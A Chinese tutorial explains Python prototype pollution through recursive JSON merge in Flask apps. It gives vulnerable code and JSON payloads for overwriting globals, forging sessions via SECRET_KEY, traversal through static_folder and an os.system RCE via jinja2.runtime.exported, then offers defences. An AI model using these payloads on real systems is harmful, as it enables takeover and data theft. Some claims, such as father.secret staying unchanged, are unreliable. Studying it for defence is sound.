前言

原型链污染（Prototype Pollution）最早在 Node.js 中广为人知，但 Python 中同样存在完全相似的攻击模式。触发条件与 Node.js 一致：JSON 解析 + 递归 merge 操作。当一个递归合并函数将用户可控的 JSON 数据合并到某个对象实例上时，攻击者可以通过 Python 的特殊属性（__init__、__globals__、__class__ 等）沿着原型链向上追溯到全局空间，污染任意变量。

本文从 merge 函数源码出发，系统拆解 Python 原型链污染的原理和 11 种利用方式。

一、漏洞条件

1.1 两个必要条件

与 Node.js 原型链污染完全一致：

  1. JSON 解析： 应用将用户输入的 JSON 数据解析成字典
  2. 递归 merge： 一个递归合并函数将解析后的字典合并到某个对象实例上

1.2 核心漏洞函数——merge

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):        # dst 是字典类型
            if dst.get(k) and type(v) == dict:  # 递归
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:  # dst 有同名属性且值也是字典→递归
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)                  # 直接设置属性

关键： setattr(dst, k, v) 允许设置 Python 中的任何属性，包括 __init__、__class__、__globals__ 等魔法属性。一旦可以写入这些特殊属性，攻击者就能沿着对象链追溯到全局命名空间。

注意： object 基类本身的属性不可污染（如 object.__class__），但通过实例的 __init__ 等属性桥接是可以的。

二、漏洞原理

2.1 基础示例——污染全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from flask import Flask, request, render_template
import json

app = Flask(__name__)


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


def is_json(data):
    try:
        json.loads(data)
    except ValueError:
        return False


class cls():
    def __init__(self):
        pass


instance = cls()

cat = "where is the flag?"
dog = "how to get the flag?"


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')


@app.route('/flag', methods=['GET', 'POST'])
def flag():
    with open('/flag', 'r') as f:
        flag = f.read().strip()
    if cat == dog:
        return flag
    else:
        return cat + " " + dog


@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()


@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data), instance)
    else:
        return "fail"
    return "success"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

攻击 payload（向 /pollute 发送）：

1
2
3
4
5
6
7
{
    "__init__": {
        "__globals__": {
            "dog": "where is the flag?"
        }
    }
}

污染链：

1
instance → __init__ → __globals__ (当前模块的全局命名空间字典) → dog 变量

为什么 dog 在 __globals__ 中？ dog 和 cat 在模块级别定义，不属于任何类，直接存放在当前模块的全局命名空间。任意函数/方法的 __globals__ 都指向同一个字典：

1
2
3
4
5
6
7
8
9
10
11
secret_var = 114

def test():
    pass

class a:
    def __init__(self):
        pass

print(test.__globals__ == globals() == a.__init__.__globals__)
# True —— 三者的 __globals__ 指向同一个字典！

2.2 父类属性污染——__class__.__base__

如果目标变量在父类中定义：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class father:
    secret = "hello"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

instance = son_b()

# 污染前
print(son_a.secret)   # hello
print(instance.secret) # hello

# 攻击 payload：通过 __class__ 找到父类，污染父类属性
payload = {
    "__class__": {
        "__base__": {       # ⚠️ 注意：__base__ 是单个基类，__bases__ 是基类元组
            "secret": "world"
        }
    }
}
merge(payload, instance)

# 污染后——所有子类都被影响
print(son_a.secret)        # world  ← son_a 继承自 father，被污染！
print(instance.secret)     # world
print(father.secret)       # hello ← father 本身不变（payload 污染的是 __base__ 的引用）

关键区分：__base__ vs __bases__

属性 含义
__base__ 直接父类（第一个基类）
__bases__ 所有基类组成的元组

原型链污染中用 __base__ 作用于单一父类。

三、11 种利用方式

3.1 污染同级类属性（通过全局字典）

不仅污染普通变量，还可以通过全局命名空间字典污染同级定义的其他类：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
a = 1

def demo():
    pass

class A:
    def __init__(self):
        pass

class B:
    classa = 2

instance = A()

# 通过 A.__init__.__globals__ 定位到模块全局空间
# 在全局空间中找到 B，污染 B 的 classa 属性
payload = {
    "__init__": {
        "__globals__": {
            "a": 4,                     # 污染全局变量 a
            "B": {
                "classa": 5             # 污染类 B 的属性
            }
        }
    }
}

merge(payload, instance)

print(a)         # 4   ← 被污染
print(B.classa)  # 5   ← 被污染

3.2 污染导入模块的属性

如果当前模块 import 了其他模块，可以通过 __globals__ → 模块名 → 属性来污染：

1
2
3
4
5
# test_1.py（被导入的模块）
secret_var = 114

class target_class:
    secret_class_var = "secret"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# test.py（主模块）
import test_1

class cls:
    def __init__(self):
        pass

instance = cls()

payload = {
    "__init__": {
        "__globals__": {
            "test_1": {                          # 模块名出现在 __globals__ 中
                "secret_var": 514,               # 污染模块级变量
                "target_class": {
                    "secret_class_var": "Poluuuuuuted ~"  # 污染模块中的类属性
                }
            }
        }
    }
}

merge(payload, instance)

print(test_1.secret_var)                             # 514（原 114）
print(test_1.target_class.secret_class_var)          # Poluuuuuuted ~

3.3 通过 sys.modules 污染任意模块（无需 import）

如果目标模块没有被当前模块 import，但应用导入了 sys，就可以通过 sys.modules 直接操作任意已加载的模块：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import test_1
import sys

class cls:
    def __init__(self):
        pass

instance = cls()

payload = {
    "__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "test_1": {                      # 不需要 import test_1！
                        "secret_var": 514,
                        "target_class": {
                            "secret_class_var": "Poluuuuuuted ~"
                        }
                    }
                }
            }
        }
    }
}

merge(payload, instance)

print(test_1.secret_var)                             # 514
print(test_1.target_class.secret_class_var)          # Poluuuuuuted ~

如果目标应用没有 import sys 怎么办？ 通过加载器桥接：

1
2
3
4
5
6
7
# 大多数模块的加载器来自 importlib，而 importlib 内部导入了 sys
<模块名>.__spec__.__init__.__globals__['sys']
# 或
<模块名>.__loader__.__init__.__globals__['sys']

# ps: math.__spec__.loader == math.__loader__
# __spec__ 保存了包的信息：包名、加载器等

加载器常用属性：

属性 含义
__loader__.file 模块文件的原始路径
__loader__.file_name 同上
__loader__.is_package() 判断是否是一个包

3.4 修改函数默认参数——__defaults__

函数的默认参数以元组形式保存在 __defaults__ 属性中。污染它可以在不传参时执行恶意逻辑：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def evilFunc(arg_1, shell=False):
    if not shell:
        print(arg_1)
    else:
        print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
        pass

instance = cls()

payload = {
    "__init__": {
        "__globals__": {
            "evilFunc": {
                "__defaults__": (True,)   # 元组！将 shell 默认值改为 True
            }
        }
    }
}

evilFunc("whoami")
# whoami（正常输出）

merge(payload, instance)

evilFunc("whoami")
# <当前用户ID>（执行了 os.popen）

__defaults__ vs __kwdefaults__：

1
2
3
4
5
6
7
8
9
10
11
def func_a(var_1, var_2=2, var_3=3):         # 只有 positional 默认值
    pass

def func_c(var_1, var_2=2, *, var_3=3):      # *, 后面的默认值是 keyword-only
    pass

print(func_a.__defaults__)   # (2, 3)
print(func_a.__kwdefaults__) # None

print(func_c.__defaults__)   # (2,)
print(func_c.__kwdefaults__) # {'var_3': 3}  ← keyword-only 默认值在这里
符号 含义 默认值存储位置
func(var_1, var_2=2) 普通位置参数 __defaults__
func(var_1, /, var_2=2) / 前只能按位置传 __defaults__
func(var_1, *, var_3=3) * 后只能按关键字传 __kwdefaults__
func(var_1, /, var_2=2, *, var_3=3) 混合 分别在两个属性中

3.5 污染 Flask SECRET_KEY——伪造 session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


class cls():
    def __init__(self):
        pass

instance = cls()


@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return "[+]Config:%s" % (app.config['SECRET_KEY'])


app.run(host="0.0.0.0")

payload：

1
2
3
4
5
6
7
8
9
10
11
{
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "Polluted~"
                }
            }
        }
    }
}

污染后，攻击者用 "Polluted~" 作为密钥伪造任意 Flask session，配合 flask-unsign 即可登录任意用户。

3.6 重置 _got_first_request——多次触发 before_first_request

Flask 使用 app._got_first_request 来标记是否已处理过第一个请求。@app.before_first_request 装饰的函数只有在该值为假时才会执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request
import json

app = Flask(__name__)

flag = "Is flag here?"

@app.before_first_request
def init():
    global flag
    if hasattr(app, "special") and app.special == "U_Polluted_It":
        flag = open("flag", "rt").read()


@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    global flag
    setattr(app, "special", "U_Polluted_It")
    return flag

payload（发送两次）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
第一次请求：
  发送 merge payload 设置 app.special = "U_Polluted_It"
  然后 index() 内部 setattr(app, "special", "U_Polluted_It")

第二次请求：
  发送 merge payload 重置 _got_first_request：

{
    "__init__": {
        "__globals__": {
            "app": {
                "_got_first_request": false
            }
        }
    }
}

  第三次请求：_got_first_request 被重置为 false
  → before_first_request 再次触发
  → 此时 app.special == "U_Polluted_It" 已满足
  → flag 被读入全局变量 → 返回 flag

3.7 污染 static_folder——目录穿越读文件

Flask 的 app.static_folder 默认是 ./static。污染它为 ../../ 或 /，就能通过静态文件路由读取任意目录下的文件：

1
2
3
4
5
@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return render_template("index.html")
1
2
3
4
5
6
7
8
9
{
    "__init__": {
        "__globals__": {
            "app": {
                "static_folder": "../../"
            }
        }
    }
}

污染后，访问 http://target/static/flag → 实际返回 ../../flag = 根目录下的 flag。

3.8 污染 os.path.pardir——破坏路径安全校验

os.path.pardir 默认值是 ..（表示上级目录）。很多应用用 ../ 来拼接路径访问上级目录。如果应用对 .. 做了过滤，可以通过原型链污染把它改成不是 .. 的东西：

1
2
3
4
5
6
7
8
9
10
11
import os
from flask import Flask, request, render_template
import json

app = Flask(__name__)

@app.route("/<path:path>")
def render_page(path):
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)
1
2
3
4
5
6
7
8
9
10
11
{
    "__init__": {
        "__globals__": {
            "os": {
                "path": {
                    "pardir": "!"
                }
            }
        }
    }
}

污染后 os.path.pardir 变为 !，应用内部用于拼接 ../ 的逻辑失效——绕过基于 os.path.pardir 的路径限制。

3.9 污染 Jinja2 语法标识符——绕过模板注入限制

Flask 使用 Jinja2 渲染模板。{{ }} 是 Jinja2 的默认变量语法。如果 WAF 对 {{` 和 `}} 做了过滤，可以通过污染 jinja_env 来改变模板语法：

1
2
3
@app.route('/index', methods=['POST', 'GET'])
def templates():
    return render_template("test.html", flag=open("flag", "rt").read())

test.html 模板中使用 [[ flag ]] 而非 {{ flag }}：

1
2
3
<html>
  <h1>[[ flag ]]</h1>
</html>

payload：

1
2
3
4
5
6
7
8
9
10
11
12
{
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "variable_start_string": "[[",
                    "variable_end_string": "]]"
                }
            }
        }
    }
}

3.10 污染 Jinja2 全局数据——绕过模板权限控制

Jinja2 的 jinja_env.globals 是所有模板共享的全局变量字典。污染它可以绕过模板中的权限检查：

模板（index.html）：

1
2
3
<html>
  <h1>{{flag if permission else "No way!"}}</h1>
</html>

payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
{
    "__init__": {
        "__globals__": {
            "app": {
                "jinja_env": {
                    "globals": {
                        "permission": true
                    }
                }
            }
        }
    }
}

即使应用没传入 permission 变量，模板直接从 jinja_env.globals 获取，条件 permission 变为 True → 输出 flag。

3.11 直接 RCE——通过 __loader__ → Jinja2 runtime

这是最彻底的利用方式。污染链：

1
2
instance → __init__ → __globals__ → __loader__ → __init__.__globals__ → sys
  → sys.modules → jinja2 → runtime → exported

Jinja2 的 runtime.exported 是一个允许在沙箱外执行的函数名列表。注入恶意命令到这个列表中就能实现 RCE：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# app.py —— 一个普通的 Flask 应用
from flask import Flask, request, render_template
import json

app = Flask(__name__)


def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


class cls():
    def __init__(self):
        pass


instance = cls()


@app.route('/', methods=['POST', 'GET'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)
    return render_template("index.html")


app.run(host="0.0.0.0")

RCE payload：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
    "__init__": {
        "__globals__": {
            "__loader__": {
                "__init__": {
                    "__globals__": {
                        "sys": {
                            "modules": {
                                "jinja2": {
                                    "runtime": {
                                        "exported": [
                                            "*;__import__('os').system('cp ./flag ./static/flag');#"
                                        ]
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

污染链详解：

1
2
3
4
5
6
7
instance.__init__.__globals__           # 拿到模块全局命名空间
    → __loader__                          # 模块加载器（来自 importlib）
      → __init__.__globals__              # importlib 的全局命名空间
        → sys                             # importlib 内部导入了 sys
          → modules                       # 所有已加载模块
            → jinja2 → runtime            # Jinja2 的运行时模块
              → exported                  # 沙箱可执行函数白名单

jinja2.runtime.exported 是一个列表，存储了 Jinja2 沙箱中允许调用的 Python 内置函数名。注入恶意字符串后，后续模板渲染时 Jinja2 会执行 eval 或 exec 处理 exported 内容。

四、利用方式总结表

# 利用方式 污染路径 效果
1 污染全局变量 __init__.__globals__ → var 修改模块级变量
2 污染父类属性 __class__.__base__ → attr 影响所有继承该类的子类
3 污染同级类 __init__.__globals__ → ClassName → attr 修改模块中其他类的属性
4 污染已导入模块 __init__.__globals__ → module_name → attr 跨模块污染
5 通过 sys.modules 污染 sys → modules → module → attr 无需 import 目标模块
6 修改函数默认参数 __init__.__globals__ → func → __defaults__/__kwdefaults__ 改变函数行为
7 污染 Flask SECRET_KEY app → config → SECRET_KEY 伪造 session
8 重置 _got_first_request app → _got_first_request = false 多次触发 before_first_request
9 污染 static_folder app → static_folder = "../../" 目录穿越读文件
10 污染 os.path.pardir os → path → pardir 破坏路径检查逻辑
11 污染 Jinja2 语法标识符 app → jinja_env → variable_start_string/end_string 绕过模板注入过滤
12 污染 Jinja2 全局数据 app → jinja_env → globals 绕过模板权限控制
13 直接 RCE __loader__ → importlib → sys → jinja2 → runtime → exported 远程代码执行

五、防御措施

措施 说明
过滤魔法属性 merge 时拒绝 __ 开头的 key（如 __init__、__globals__、__class__）
使用安全 merge 只允许白名单中的属性被合并，或用 copy.deepcopy 创建副本
object 不可污染 Python 的 object 基类本身是 C 实现的，其属性不可被 setattr 修改——所以污染链必须从普通类的实例开始
不暴露 merge 入口 如果应用不需要 merge JSON → 对象，就不要提供这类功能
WAF 检测 在 merge 操作前检测传入 JSON 是否包含 __globals__、__init__、__class__ 等危险 key

安全 merge 示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BLACKLIST = {'__init__', '__globals__', '__class__', '__base__', '__bases__',
             '__mro__', '__subclasses__', '__loader__', '__spec__',
             '__defaults__', '__kwdefaults__', '__builtins__'}


def safe_merge(src, dst, _depth=0):
    if _depth > 10:  # 防止过深递归
        return
    for k, v in src.items():
        if k in BLACKLIST or k.startswith('__'):
            raise ValueError(f'Blocked key: {k}')
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                safe_merge(v, dst.get(k), _depth + 1)
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            safe_merge(v, getattr(dst, k), _depth + 1)
        else:
            setattr(dst, k, v)

参考